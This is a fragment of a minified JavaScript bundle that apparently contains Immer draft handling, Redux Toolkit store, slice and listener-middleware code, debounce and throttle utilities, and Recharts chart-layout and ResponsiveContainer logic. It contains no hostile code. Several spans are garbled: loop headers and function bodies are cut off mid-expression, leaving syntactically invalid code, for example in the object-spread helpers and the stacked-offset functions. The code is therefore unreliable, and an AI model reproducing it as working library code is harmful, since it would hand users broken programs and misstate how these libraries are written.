a=i[t];if(e.finalized_||!Mn(a)||r&&e.operationMethod&&(n!=null&&n.isMutatingArrayMethod(e.operationMethod))&&BO(t))return a;if(a===Bf(e.base_,t)){ec(e);const o=e.type_===1?+t:t,l=Nm(e.scope_,a,e,o);return e.copy_[o]=l}return a},has(e,t){return t in rr(e)},ownKeys(e){return Reflect.ownKeys(rr(e))},set(e,t,n){const r=hk(rr(e),t);if(r!=null&&r.set)return r.set.call(e.draft_,n),!0;if(!e.modified_){const i=Bf(rr(e),t),a=i==null?void 0:i[_t];if(a&&a.base_===n)return e.copy_[t]=n,e.assigned_.set(t,!1),!0;if($O(n,i)&&(n!==void 0||Vg(e.base_,t,e.type_)))return!0;ec(e),km(e)}return e.copy_[t]===n&&(n!==void 0||t in e.copy_)||Number.isNaN(n)&&Number.isNaN(e.copy_[t])||(e.copy_[t]=n,e.assigned_.set(t,!0),qO(e,t,n)),!0},deleteProperty(e,t){return ec(e),Bf(e.base_,t)!==void 0||t in e.base_?(e.assigned_.set(t,!1),km(e)):e.assigned_.delete(t),e.copy_&&delete e.copy_[t],!0},getOwnPropertyDescriptor(e,t){const n=rr(e),r=Reflect.getOwnPropertyDescriptor(n,t);return r&&{[Jl]:!0,[vm]:e.type_!==1||t!=="length",[$c]:r[$c],[xo]:n[t]}},defineProperty(){zn(11)},getPrototypeOf(e){return $a(e.base_)},setPrototypeOf(){zn(12)}},go={};for(let e in Uc){let t=Uc[e];go[e]=function(){const n=arguments;return n[0]=n[0][0],t.apply(this,n)}}go.deleteProperty=function(e,t){return go.set.call(this,e,t,void 0)};go.set=function(e,t,n){return Uc.set.call(this,e[0],t,n,e[0])};function Bf(e,t){const n=e[_t];return(n?rr(n):e)[t]}function GO(e,t,n){var i;const r=hk(t,n);return r?xo in r?r[xo]:(i=r.get)==null?void 0:i.call(e.draft_):void 0}function hk(e,t){if(!(t in e))return;let n=$a(e);for(;n;){const r=Object.getOwnPropertyDescriptor(n,t);if(r)return r;n=$a(n)}}function km(e){e.modified_||(e.modified_=!0,e.parent_&&km(e.parent_))}function ec(e){e.copy_||(e.assigned_=new Map,e.copy_=ym(e.base_,e.scope_.immer_.useStrictShallowCopy_))}var XO=class{constructor(t){this.autoFreeze_=!0,this.useStrictShallowCopy_=!1,this.useStrictIteration_=!1,this.produce=(n,r,i)=>{if(aa(n)&&!aa(r)){const o=r;r=n;const l=this;return function(u=o,...d){return l.produce(u,f=>r.call(this,f,...d))}}aa(r)||zn(6),i!==void 0&&!aa(i)&&zn(7);let a;if(Mn(n)){const o=Yg(this),l=Nm(o,n,void 0);let c=!0;try{a=r(l),c=!1}finally{c?wm(o):jm(o)}return qg(o,i),Gg(a,o)}else if(!n||!Nx(n)){if(a=r(n),a===void 0&&(a=n),a===lk&&(a=void 0),this.autoFreeze_&&zx(a,!0),i){const o=[],l=[];Vi(bm).generateReplacementPatches_(n,a,{patches_:o,inversePatches_:l}),i(o,l)}return a}else zn(1,n)},this.produceWithPatches=(n,r)=>{if(aa(n))return(l,...c)=>this.produceWithPatches(l,u=>n(u,...c));let i,a;return[this.produce(n,r,(l,c)=>{i=l,a=c}),i,a]},$f(t==null?void 0:t.autoFreeze)&&this.setAutoFreeze(t.autoFreeze),$f(t==null?void 0:t.useStrictShallowCopy)&&this.setUseStrictShallowCopy(t.useStrictShallowCopy),$f(t==null?void 0:t.useStrictIteration)&&this.setUseStrictIteration(t.useStrictIteration)}createDraft(t){Mn(t)||zn(8),xr(t)&&(t=_n(t));const n=Yg(this),r=Nm(n,t,void 0);return r[_t].isManual_=!0,jm(n),r}finishDraft(t,n){const r=t&&t[_t];(!r||!r.isManual_)&&zn(9);const{scope_:i}=r;return qg(i,n),Gg(void 0,i)}setAutoFreeze(t){this.autoFreeze_=t}setUseStrictShallowCopy(t){this.useStrictShallowCopy_=t}setUseStrictIteration(t){this.useStrictIteration_=t}shouldUseStrictIteration(){return this.useStrictIteration_}applyPatches(t,n){let r;for(r=n.length-1;r>=0;r--){const a=n[r];if(a.path.length===0&&a.op==="replace"){t=a.value;break}}r>-1&&(n=n.slice(r+1));const i=Vi(bm).applyPatches_;return xr(t)?i(t,n):this.produce(t,a=>i(a,n))}};function Nm(e,t,n,r){const[i,a]=ld(t)?Vi(Fc).proxyMap_(t,n):cd(t)?Vi(Fc).proxySet_(t,n):YO(t,n);return((n==null?void 0:n.scope_)??dk()).drafts_.push(i),a.callbacks_=(n==null?void 0:n.callbacks_)??[],a.key_=r,n&&r!==void 0?KO(n,a,r):a.callbacks_.push(function(c){var d;(d=c.mapSetPlugin_)==null||d.fixSetContents(a);const{patchPlugin_:u}=c;a.modified_&&u&&u.generatePatches_(a,[],c)}),i}function _n(e){return xr(e)||zn(10,e),xk(e)}function xk(e){if(!Mn(e)||ud(e))return e;const t=e[_t];let n,r=!0;if(t){if(!t.modified_)return t.base_;t.finalized_=!0,n=ym(e,t.scope_.immer_.useStrictShallowCopy_),r=t.scope_.immer_.shouldUseStrictIteration()}else n=ym(e,!0);return sd(n,(i,a)=>{Bc(n,i,xk(a))},r),t&&(t.finalized_=!1),n}var ZO=new XO,vk=ZO.produce;function gk(e){return({dispatch:n,getState:r})=>i=>a=>typeof a=="function"?a(n,r,e):i(a)}var QO=gk(),JO=gk,e6=typeof window<"u"&&window.__REDUX_DEVTOOLS_EXTENSION_COMPOSE__?window.__REDUX_DEVTOOLS_EXTENSION_COMPOSE__:function(){if(arguments.length!==0)return typeof arguments[0]=="object"?Dc:Dc.apply(null,arguments)};function vn(e,t){function n(...r){if(t){let i=t(...r);if(!i)throw new Error(Qt(0));return{type:e,payload:i.payload,..."meta"in i&&{meta:i.meta},..."error"in i&&{error:i.error}}}return{type:e,payload:r[0]}}return n.toString=()=>`${e}`,n.type=e,n.match=r=>ok(r)&&r.type===e,n}var yk=class Ts extends Array{constructor(...t){super(...t),Object.setPrototypeOf(this,Ts.prototype)}static get[Symbol.species](){return Ts}concat(...t){return super.concat.apply(this,t)}prepend(...t){return t.length===1&&Array.isArray(t[0])?new Ts(...t[0].concat(this)):new Ts(...t.concat(this))}};function Zg(e){return Mn(e)?vk(e,()=>{}):e}function wl(e,t,n){return e.has(t)?e.get(t):e.set(t,n(t)).get(t)}function t6(e){return typeof e=="boolean"}var n6=()=>function(t){const{thunk:n=!0,immutableCheck:r=!0,serializableCheck:i=!0,actionCreatorCheck:a=!0}=t??{};let o=new yk;return n&&(t6(n)?o.push(QO):o.push(JO(n.extraArgument))),o},bk="RTK_autoBatch",De=()=>e=>({payload:e,meta:{[bk]:!0}}),Qg=e=>t=>{setTimeout(t,e)},wk=(e={type:"raf"})=>t=>(...n)=>{const r=t(...n);let i=!0,a=!1,o=!1;const l=new Set,c=e.type==="tick"?queueMicrotask:e.type==="raf"?typeof window<"u"&&window.requestAnimationFrame?window.requestAnimationFrame:Qg(10):e.type==="callback"?e.queueNotification:Qg(e.timeout),u=()=>{o=!1,a&&(a=!1,l.forEach(d=>d()))};return Object.assign({},r,{subscribe(d){const f=()=>i&&d(),m=r.subscribe(f);return l.add(d),()=>{m(),l.delete(d)}},dispatch(d){var f;try{return i=!((f=d==null?void 0:d.meta)!=null&&f[bk]),a=!i,a&&(o||(o=!0,c(u))),r.dispatch(d)}finally{i=!0}}})},r6=e=>function(n){const{autoBatch:r=!0}=n??{};let i=new yk(e);return r&&i.push(wk(typeof r=="object"?r:void 0)),i};function i6(e){const t=n6(),{reducer:n=void 0,middleware:r,devTools:i=!0,preloadedState:a=void 0,enhancers:o=void 0}=e||{};let l;if(typeof n=="function")l=n;else if(kx(n))l=sk(n);else throw new Error(Qt(1));let c;typeof r=="function"?c=r(t):c=t();let u=Dc;i&&(u=e6({trace:!1,...typeof i=="object"&&i}));const d=DO(...c),f=r6(d);let m=typeof o=="function"?o(f):f();const h=u(...m);return ak(l,a,h)}function jk(e){const t={},n=[];let r;const i={addCase(a,o){const l=typeof a=="string"?a:a.type;if(!l)throw new Error(Qt(28));if(l in t)throw new Error(Qt(29));return t[l]=o,i},addAsyncThunk(a,o){return o.pending&&(t[a.pending.type]=o.pending),o.rejected&&(t[a.rejected.type]=o.rejected),o.fulfilled&&(t[a.fulfilled.type]=o.fulfilled),o.settled&&n.push({matcher:a.settled,reducer:o.settled}),i},addMatcher(a,o){return n.push({matcher:a,reducer:o}),i},addDefaultCase(a){return r=a,i}};return e(i),[t,n,r]}function a6(e){return typeof e=="function"}function s6(e,t){let[n,r,i]=jk(t),a;if(a6(e))a=()=>Zg(e());else{const l=Zg(e);a=()=>l}function o(l=a(),c){let u=[n[c.type],...r.filter(({matcher:d})=>d(c)).map(({reducer:d})=>d)];return u.filter(d=>!!d).length===0&&(u=[i]),u.reduce((d,f)=>{if(f)if(xr(d)){const h=f(d,c);return h===void 0?d:h}else{if(Mn(d))return vk(d,m=>f(m,c));{const m=f(d,c);if(m===void 0){if(d===null)return d;throw Error("A case reducer on a non-draftable value must not return undefined")}return m}}return d},l)}return o.getInitialState=a,o}var o6="ModuleSymbhasOwnPr-0123456789ABCDEFGHNRVfgctiUvz_KqYTJkLxpZXIjQW",l6=(e=21)=>{let t="",n=e;for(;n--;)t+=o6[Math.random()*64|0];return t},c6=Symbol.for("rtk-slice-createasyncthunk");function u6(e,t){return`${e}/${t}`}function d6({creators:e}={}){var n;const t=(n=e==null?void 0:e.asyncThunk)==null?void 0:n[c6];return function(i){const{name:a,reducerPath:o=a}=i;if(!a)throw new Error(Qt(11));const l=(typeof i.reducers=="function"?i.reducers(p6()):i.reducers)||{},c=Object.keys(l),u={sliceCaseReducersByName:{},sliceCaseReducersByType:{},actionCreators:{},sliceMatchers:[]},d={addCase(j,k){const S=typeof j=="string"?j:j.type;if(!S)throw new Error(Qt(12));if(S in u.sliceCaseReducersByType)throw new Error(Qt(13));return u.sliceCaseReducersByType[S]=k,d},addMatcher(j,k){return u.sliceMatchers.push({matcher:j,reducer:k}),d},exposeAction(j,k){return u.actionCreators[j]=k,d},exposeCaseReducer(j,k){return u.sliceCaseReducersByName[j]=k,d}};c.forEach(j=>{const k=l[j],S={reducerName:j,type:u6(a,j),createNotation:typeof i.reducers=="function"};h6(k)?v6(S,k,d,t):m6(S,k,d)});function f(){const[j={},k=[],S=void 0]=typeof i.extraReducers=="function"?jk(i.extraReducers):[i.extraReducers],N={...j,...u.sliceCaseReducersByType};return s6(i.initialState,z=>{for(let O in N)z.addCase(O,N[O]);for(let O of u.sliceMatchers)z.addMatcher(O.matcher,O.reducer);for(let O of k)z.addMatcher(O.matcher,O.reducer);S&&z.addDefaultCase(S)})}const m=j=>j,h=new Map,x=new WeakMap;let g;function y(j,k){return g||(g=f()),g(j,k)}function v(){return g||(g=f()),g.getInitialState()}function b(j,k=!1){function S(z){let O=z[j];return typeof O>"u"&&k&&(O=wl(x,S,v)),O}function N(z=m){const O=wl(h,k,()=>new WeakMap);return wl(O,z,()=>{const _={};for(const[T,E]of Object.entries(i.selectors??{}))_[T]=f6(E,z,()=>wl(x,z,v),k);return _})}return{reducerPath:j,getSelectors:N,get selectors(){return N(S)},selectSlice:S}}const w={name:a,reducer:y,actions:u.actionCreators,caseReducers:u.sliceCaseReducersByName,getInitialState:v,...b(o),injectInto(j,{reducerPath:k,...S}={}){const N=k??o;return j.inject({reducerPath:N,reducer:y},S),{...w,...b(N,!0)}}};return w}}function f6(e,t,n,r){function i(a,...o){let l=t(a);return typeof l>"u"&&r&&(l=n()),e(l,...o)}return i.unwrapped=e,i}var Ut=d6();function p6(){function e(t,n){return{_reducerDefinitionType:"asyncThunk",payloadCreator:t,...n}}return e.withTypes=()=>e,{reducer(t){return Object.assign({[t.name](...n){return t(...n)}}[t.name],{_reducerDefinitionType:"reducer"})},preparedReducer(t,n){return{_reducerDefinitionType:"reducerWithPrepare",prepare:t,reducer:n}},asyncThunk:e}}function m6({type:e,reducerName:t,createNotation:n},r,i){let a,o;if("reducer"in r){if(n&&!x6(r))throw new Error(Qt(17));a=r.reducer,o=r.prepare}else a=r;i.addCase(e,a).exposeCaseReducer(t,a).exposeAction(t,o?vn(e,o):vn(e))}function h6(e){return e._reducerDefinitionType==="asyncThunk"}function x6(e){return e._reducerDefinitionType==="reducerWithPrepare"}function v6({type:e,reducerName:t},n,r,i){if(!i)throw new Error(Qt(18));const{payloadCreator:a,fulfilled:o,pending:l,rejected:c,settled:u,options:d}=n,f=i(e,a,d);r.exposeAction(t,f),o&&r.addCase(f.fulfilled,o),l&&r.addCase(f.pending,l),c&&r.addCase(f.rejected,c),u&&r.addMatcher(f.settled,u),r.exposeCaseReducer(t,{fulfilled:o||jl,pending:l||jl,rejected:c||jl,settled:u||jl})}function jl(){}var g6="task",kk="listener",Nk="completed",Cx="cancelled",y6=`task-${Cx}`,b6=`task-${Nk}`,Sm=`${kk}-${Cx}`,w6=`${kk}-${Nk}`,fd=class{constructor(e){nf(this,"name","TaskAbortError");nf(this,"message");this.code=e,this.message=`${g6} ${Cx} (reason: ${e})`}},Px=(e,t)=>{if(typeof e!="function")throw new TypeError(Qt(32))},Vc=()=>{},Sk=(e,t=Vc)=>(e.catch(t),e),zk=(e,t)=>(e.addEventListener("abort",t,{once:!0}),()=>e.removeEventListener("abort",t)),_i=e=>{if(e.aborted)throw new fd(e.reason)};function Ck(e,t){let n=Vc;return new Promise((r,i)=>{const a=()=>i(new fd(e.reason));if(e.aborted){a();return}n=zk(e,a),t.finally(()=>n()).then(r,i)}).finally(()=>{n=Vc})}var j6=async(e,t)=>{try{return await Promise.resolve(),{status:"ok",value:await e()}}catch(n){return{status:n instanceof fd?"cancelled":"rejected",error:n}}finally{t==null||t()}},Hc=e=>t=>Sk(Ck(e,t).then(n=>(_i(e),n))),Pk=e=>{const t=Hc(e);return n=>t(new Promise(r=>setTimeout(r,n)))},{assign:Ca}=Object,Jg={},pd="listenerMiddleware",k6=(e,t)=>{const n=r=>zk(e,()=>r.abort(e.reason));return(r,i)=>{Px(r);const a=new AbortController;n(a);const o=j6(async()=>{_i(e),_i(a.signal);const l=await r({pause:Hc(a.signal),delay:Pk(a.signal),signal:a.signal});return _i(a.signal),l},()=>a.abort(b6));return i!=null&&i.autoJoin&&t.push(o.catch(Vc)),{result:Hc(e)(o),cancel(){a.abort(y6)}}}},N6=(e,t)=>{const n=async(r,i)=>{_i(t);let a=()=>{};const l=[new Promise((c,u)=>{let d=e({predicate:r,effect:(f,m)=>{m.unsubscribe(),c([f,m.getState(),m.getOriginalState()])}});a=()=>{d(),u()}})];i!=null&&l.push(new Promise(c=>setTimeout(c,i,null)));try{const c=await Ck(t,Promise.race(l));return _i(t),c}finally{a()}};return(r,i)=>Sk(n(r,i))},Ek=e=>{let{type:t,actionCreator:n,matcher:r,predicate:i,effect:a}=e;if(t)i=vn(t).match;else if(n)t=n.type,i=n.match;else if(r)i=r;else if(!i)throw new Error(Qt(21));return Px(a),{predicate:i,type:t,effect:a}},Ak=Ca(e=>{const{type:t,predicate:n,effect:r}=Ek(e);return{id:l6(),effect:r,type:t,predicate:n,pending:new Set,unsubscribe:()=>{throw new Error(Qt(22))}}},{withTypes:()=>Ak}),ey=(e,t)=>{const{type:n,effect:r,predicate:i}=Ek(t);return Array.from(e.values()).find(a=>(typeof n=="string"?a.type===n:a.predicate===i)&&a.effect===r)},zm=e=>{e.pending.forEach(t=>{t.abort(Sm)})},S6=(e,t)=>()=>{for(const n of t.keys())zm(n);e.clear()},ty=(e,t,n)=>{try{e(t,n)}catch(r){setTimeout(()=>{throw r},0)}},_k=Ca(vn(`${pd}/add`),{withTypes:()=>_k}),z6=vn(`${pd}/removeAll`),Ok=Ca(vn(`${pd}/remove`),{withTypes:()=>Ok}),C6=(...e)=>{console.error(`${pd}/error`,...e)},Ro=(e={})=>{const t=new Map,n=new Map,r=h=>{const x=n.get(h)??0;n.set(h,x+1)},i=h=>{const x=n.get(h)??1;x===1?n.delete(h):n.set(h,x-1)},{extra:a,onError:o=C6}=e;Px(o);const l=h=>(h.unsubscribe=()=>t.delete(h.id),t.set(h.id,h),x=>{h.unsubscribe(),x!=null&&x.cancelActive&&zm(h)}),c=h=>{const x=ey(t,h)??Ak(h);return l(x)};Ca(c,{withTypes:()=>c});const u=h=>{const x=ey(t,h);return x&&(x.unsubscribe(),h.cancelActive&&zm(x)),!!x};Ca(u,{withTypes:()=>u});const d=async(h,x,g,y)=>{const v=new AbortController,b=N6(c,v.signal),w=[];try{h.pending.add(v),r(h),await Promise.resolve(h.effect(x,Ca({},g,{getOriginalState:y,condition:(j,k)=>b(j,k).then(Boolean),take:b,delay:Pk(v.signal),pause:Hc(v.signal),extra:a,signal:v.signal,fork:k6(v.signal,w),unsubscribe:h.unsubscribe,subscribe:()=>{t.set(h.id,h)},cancelActiveListeners:()=>{h.pending.forEach((j,k,S)=>{j!==v&&(j.abort(Sm),S.delete(j))})},cancel:()=>{v.abort(Sm),h.pending.delete(v)},throwIfCancelled:()=>{_i(v.signal)}})))}catch(j){j instanceof fd||ty(o,j,{raisedBy:"effect"})}finally{await Promise.all(w),v.abort(w6),i(h),h.pending.delete(v)}},f=S6(t,n);return{middleware:h=>x=>g=>{if(!ok(g))return x(g);if(_k.match(g))return c(g.payload);if(z6.match(g)){f();return}if(Ok.match(g))return u(g.payload);let y=h.getState();const v=()=>{if(y===Jg)throw new Error(Qt(23));return y};let b;try{if(b=x(g),t.size>0){const w=h.getState(),j=Array.from(t.values());for(const k of j){let S=!1;try{S=k.predicate(g,w,y)}catch(N){S=!1,ty(o,N,{raisedBy:"predicate"})}S&&d(k,g,h,v)}}}finally{y=Jg}return b},startListening:c,stopListening:u,clearListeners:f}};function Qt(e){return`Minified Redux Toolkit error #${e}; visit https://redux-toolkit.js.org/Errors?code=${e} for the full message or use the non-minified dev environment for full errors. `}var P6={layoutType:"horizontal",width:0,height:0,margin:{top:5,right:5,bottom:5,left:5},scale:1},Tk=Ut({name:"chartLayout",initialState:P6,reducers:{setLayout(e,t){e.layoutType=t.payload},setChartSize(e,t){e.width=t.payload.width,e.height=t.payload.height},setMargin(e,t){var n,r,i,a;e.margin.top=(n=t.payload.top)!==null&&n!==void 0?n:0,e.margin.right=(r=t.payload.right)!==null&&r!==void 0?r:0,e.margin.bottom=(i=t.payload.bottom)!==null&&i!==void 0?i:0,e.margin.left=(a=t.payload.left)!==null&&a!==void 0?a:0},setScale(e,t){e.scale=t.payload}}}),{setMargin:E6,setLayout:A6,setChartSize:_6,setScale:O6}=Tk.actions,T6=Tk.reducer;function Mk(e,t,n){return Array.isArray(e)&&e&&t+n!==0?e.slice(t,n+1):e}function ye(e){return Number.isFinite(e)}function ai(e){return typeof e=="number"&&e>0&&Number.isFinite(e)}function ny(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function ga(e){for(var t=1;t{if(t&&n){var{width:r,height:i}=n,{align:a,verticalAlign:o,layout:l}=t;if((l==="vertical"||l==="horizontal"&&o==="middle")&&a!=="center"&&ue(e[a]))return ga(ga({},e),{},{[a]:e[a]+(r||0)});if((l==="horizontal"||l==="vertical"&&a==="center")&&o!=="middle"&&ue(e[o]))return ga(ga({},e),{},{[o]:e[o]+(i||0)})}return e},Jn=(e,t)=>e==="horizontal"&&t==="xAxis"||e==="vertical"&&t==="yAxis"||e==="centric"&&t==="angleAxis"||e==="radial"&&t==="radiusAxis",R6=e=>{var t,n=e.length;if(!(n<=0)){var r=(t=e[0])===null||t===void 0?void 0:t.length;if(!(r==null||r<=0))for(var i=0;i=0?(u[0]=a,a+=m,u[1]=a):(u[0]=o,o+=m,u[1]=o)}}}},$6=e=>{var t,n=e.length;if(!(n<=0)){var r=(t=e[0])===null||t===void 0?void 0:t.length;if(!(r==null||r<=0))for(var i=0;i=0?(c[0]=a,a+=u,c[1]=a):(c[0]=0,c[1]=0)}}}},B6={sign:R6,expand:P_,none:Wi,silhouette:E_,wiggle:A_,positive:$6},F6=(e,t,n)=>{var r,i=(r=B6[n])!==null&&r!==void 0?r:Wi,a=C_().keys(t).value((l,c)=>Number(Le(l,c,0))).order(hm).offset(i),o=a(e);return o.forEach((l,c)=>{l.forEach((u,d)=>{var f=Le(e[d],t[c],0);Array.isArray(f)&&f.length===2&&ue(f[0])&&ue(f[1])&&(u[0]=f[0],u[1]=f[1])})}),o};function W6(e){return e==null?void 0:String(e)}function ry(e){var{axis:t,ticks:n,bandSize:r,entry:i,index:a,dataKey:o}=e;if(t.type==="category"){if(!t.allowDuplicatedCategory&&t.dataKey&&!wt(i[t.dataKey])){var l=z5(n,"value",i[t.dataKey]);if(l)return l.coordinate+r/2}return n!=null&&n[a]?n[a].coordinate+r/2:null}var c=Le(i,wt(o)?t.dataKey:o),u=t.scale.map(c);return ue(u)?u:null}var U6=e=>{var t=e.flat(2).filter(ue);return[Math.min(...t),Math.max(...t)]},V6=e=>[e[0]===1/0?0:e[0],e[1]===-1/0?0:e[1]],H6=(e,t,n)=>{if(e!=null)return V6(Object.keys(e).reduce((r,i)=>{var a=e[i];if(!a)return r;var{stackedData:o}=a,l=o.reduce((c,u)=>{var d=Mk(u,t,n),f=U6(d);return!ye(f[0])||!ye(f[1])?c:[Math.min(c[0],f[0]),Math.max(c[1],f[1])]},[1/0,-1/0]);return[Math.min(l[0],r[0]),Math.max(l[1],r[1])]},[1/0,-1/0]))},iy=/^dataMin[\s]*-[\s]*([0-9]+([.]{1}[0-9]+){0,1})$/,ay=/^dataMax[\s]*\+[\s]*([0-9]+([.]{1}[0-9]+){0,1})$/,Kc=(e,t,n)=>{if(e&&e.scale&&e.scale.bandwidth){var r=e.scale.bandwidth();if(!n||r>0)return r}if(e&&t&&t.length>=2){for(var i=id(t,d=>d.coordinate),a=1/0,o=1,l=i.length;o{if(t==="horizontal")return e.chartX;if(t==="vertical")return e.chartY},q6=(e,t)=>t==="centric"?e.angle:e.radius,Sr=e=>e.layout.width,zr=e=>e.layout.height,Y6=e=>e.layout.scale,Lk=e=>e.layout.margin,hd=L(e=>e.cartesianAxis.xAxis,e=>Object.values(e)),xd=L(e=>e.cartesianAxis.yAxis,e=>Object.values(e)),Ik="data-recharts-item-index",Dk="data-recharts-item-id",$o=60;function oy(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function kl(e){for(var t=1;te.brush.height;function J6(e){var t=xd(e);return t.reduce((n,r)=>{if(r.orientation==="left"&&!r.mirror&&!r.hide){var i=typeof r.width=="number"?r.width:$o;return n+i}return n},0)}function eT(e){var t=xd(e);return t.reduce((n,r)=>{if(r.orientation==="right"&&!r.mirror&&!r.hide){var i=typeof r.width=="number"?r.width:$o;return n+i}return n},0)}function tT(e){var t=hd(e);return t.reduce((n,r)=>r.orientation==="top"&&!r.mirror&&!r.hide?n+r.height:n,0)}function nT(e){var t=hd(e);return t.reduce((n,r)=>r.orientation==="bottom"&&!r.mirror&&!r.hide?n+r.height:n,0)}var ft=L([Sr,zr,Lk,Q6,J6,eT,tT,nT,ik,_O],(e,t,n,r,i,a,o,l,c,u)=>{var d={left:(n.left||0)+i,right:(n.right||0)+a},f={top:(n.top||0)+o,bottom:(n.bottom||0)+l},m=kl(kl({},f),d),h=m.bottom;m.bottom+=r,m=D6(m,c,u);var x=e-m.left-m.right,g=t-m.top-m.bottom;return kl(kl({brushBottom:h},m),{},{width:Math.max(x,0),height:Math.max(g,0)})}),rT=L(ft,e=>({x:e.left,y:e.top,width:e.width,height:e.height}));L(Sr,zr,(e,t)=>({x:0,y:0,width:e,height:t}));var iT=p.createContext(null),In=()=>p.useContext(iT)!=null,vd=e=>e.brush,gd=L([vd,ft,Lk],(e,t,n)=>({height:e.height,x:ue(e.x)?e.x:t.left,y:ue(e.y)?e.y:t.top+t.height+t.brushBottom-((n==null?void 0:n.bottom)||0),width:ue(e.width)?e.width:t.width})),Rk={},$k={},Bk={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n,r,{signal:i,edges:a}={}){let o,l=null;const c=a!=null&&a.includes("leading"),u=a==null||a.includes("trailing"),d=()=>{l!==null&&(n.apply(o,l),o=void 0,l=null)},f=()=>{u&&d(),g()};let m=null;const h=()=>{m!=null&&clearTimeout(m),m=setTimeout(()=>{m=null,f()},r)},x=()=>{m!==null&&(clearTimeout(m),m=null)},g=()=>{x(),o=void 0,l=null},y=()=>{d()},v=function(...b){if(i!=null&&i.aborted)return;o=this,l=b;const w=m==null;h(),c&&w&&d()};return v.schedule=h,v.cancel=g,v.flush=y,i==null||i.addEventListener("abort",g,{once:!0}),v}e.debounce=t})(Bk);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=Bk;function n(r,i=0,a={}){typeof a!="object"&&(a={});const{leading:o=!1,trailing:l=!0,maxWait:c}=a,u=Array(2);o&&(u[0]="leading"),l&&(u[1]="trailing");let d,f=null;const m=t.debounce(function(...g){d=r.apply(this,g),f=null},i,{edges:u}),h=function(...g){return c!=null&&(f===null&&(f=Date.now()),Date.now()-f>=c)?(d=r.apply(this,g),f=Date.now(),m.cancel(),m.schedule(),d):(m.apply(this,g),d)},x=()=>(m.flush(),d);return h.cancel=m.cancel,h.flush=x,h}e.debounce=n})($k);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=$k;function n(r,i=0,a={}){const{leading:o=!0,trailing:l=!0}=a;return t.debounce(r,i,{leading:o,maxWait:i,trailing:l})}e.throttle=n})(Rk);var aT=Rk.throttle;const sT=jr(aT);var ly=function(t,n){for(var r=arguments.length,i=new Array(r>2?r-2:0),a=2;ai[o++]))}},Vn={width:"100%",height:"100%",debounce:0,minWidth:0,initialDimension:{width:-1,height:-1}},Fk=(e,t,n)=>{var{width:r=Vn.width,height:i=Vn.height,aspect:a,maxHeight:o}=n,l=Ui(r)?e:Number(r),c=Ui(i)?t:Number(i);return a&&a>0&&(l?c=l/a:c&&(l=c*a),o&&c!=null&&c>o&&(c=o)),{calculatedWidth:l,calculatedHeight:c}},oT={width:0,height:0,overflow:"visible"},lT={width:0,overflowX:"visible"},cT={height:0,overflowY:"visible"},uT={},dT=e=>{var{width:t,height:n}=e,r=Ui(t),i=Ui(n);return r&&i?oT:r?lT:i?cT:uT};function fT(e){var{width:t,height:n,aspect:r}=e,i=t,a=n;return i===void 0&&a===void 0?(i=Vn.width,a=Vn.height):i===void 0?i=r&&r>0?void 0:Vn.width:a===void 0&&(a=r&&r>0?void 0:Vn.height),{width:i,height:a}}function Cm(){return Cm=Object.assign?Object.assign.bind():function(e){for(var t=1;t({width:n,height:r}),[n,r]);return xT(i)?p.createElement(Wk.Provider,{value:i},t):null}var Ex=()=>p.useContext(Wk),vT=p.forwardRef((e,t)=>{var{aspect:n,initialDimension:r=Vn.initialDimension,width:i,height:a,minWidth:o=Vn.minWidth,minHeight:l,maxHeight:c,children:u,debounce:d=Vn.debounce,id:f,className:m,onResize:h,style:x={}}=e,g=p.useRef(null),y=p.useRef();y.current=h,p.useImperativeHandle(t,()=>g.current);var[v,b]=p.useState({containerWidth:r.width,containerHeight:r.height}),w=p.useCallback((z,O)=>{b(_=>{var T=Math.round(z),E=Math.round(O);return _.containerWidth===T&&_.containerHeight===E?_:{containerWidth:T,containerHeight:E}})},[]);p.useEffect(()=>{if(g.current==null||typeof ResizeObserver>"u")return Za;var z=E=>{var U,K=E[0];if(K!=null){var{width:R,height:I}=K.contentRect;w(R,I),(U=y.current)===null||U===void 0||U.call(y,R,I)}};d>0&&(z=sT(z,d,{trailing:!0,leading:!1}));var O=new ResizeObserver(z),{width:_,height:T}=g.current.getBoundingClientRect();return w(_,T),O.observe(g.current),()=>{O.disconnect()}},[w,d]);var{containerWidth:j,containerHeight:k}=v;ly(!n||n>0,"The aspect(%s) must be greater than zero.",n);var{calculatedWidth:S,calculatedHeight:N}=Fk(j,k,{width:i,height:a,aspect:n,maxHeight:c});return ly(S!=null&&S>0||N!=null&&N>0,`The width(%s) and height(%s) of chart should be greater than 0, + please check the style of container, or the props width(%s) and height(%s), + or add a minWidth(%s) or minHeight(%s) or use aspect(%s) to control the + height and width.`,S,N,i,a,o,l,n),p.createElement("div",{id:f?"".concat(f):void 0,className:Ve("recharts-responsive-container",m),style:uy(uy({},x),{},{width:i,height:a,minWidth:o,minHeight:l,maxHeight:c}),ref:g},p.createElement("div",{style:dT({width:i,height:a})},p.createElement(Uk,{width:S,height:N},u)))}),dy=p.forwardRef((e,t)=>{var n=Ex();if(ai(n.width)&&ai(n.height))return e.children;var{width:r,height:i}=fT({width:e.width,height:e.height,aspect:e.aspect}),{calculatedWidth:a,calculatedHeight:o}=Fk(void 0,void 0,{width:r,height:i,aspect:e.aspect,maxHeight:e.maxHeight});return ue(a)&&ue(o)?p.createElement(Uk,{width:a,height:o},e.children):p.createElement(vT,Cm({},e,{width:r,height:i,ref:t}))});function Ax(e){if(e)return{x:e.x,y:e.y,upperWidth:"upperWidth"in e?e.upperWidth:e.width,lowerWidth:"lowerWidth"in e?e.lowerWidth:e.width,width:e.width,height:e.height}}var yd=()=>{var e,t=In(),n=pe(rT),r=pe(gd),i=(e=pe(vd))===null||e===void 0?void 0:e.padding;return!t||!r||!i?n:{width:r.width-i.left-i.right,height:r.height-i.top-i.bottom,x:i.left,y:i.top}},gT={top:0,bottom:0,left:0,right:0,width:0,height:0,brushBottom:0},yT=()=>{var e;return(e=pe(ft))!==null&&e!==void 0?e:gT},bT=()=>pe(Sr),wT=()=>pe(zr),ze=e=>e.layout.layoutType,Qa=()=>pe(ze),jT=()=>{var 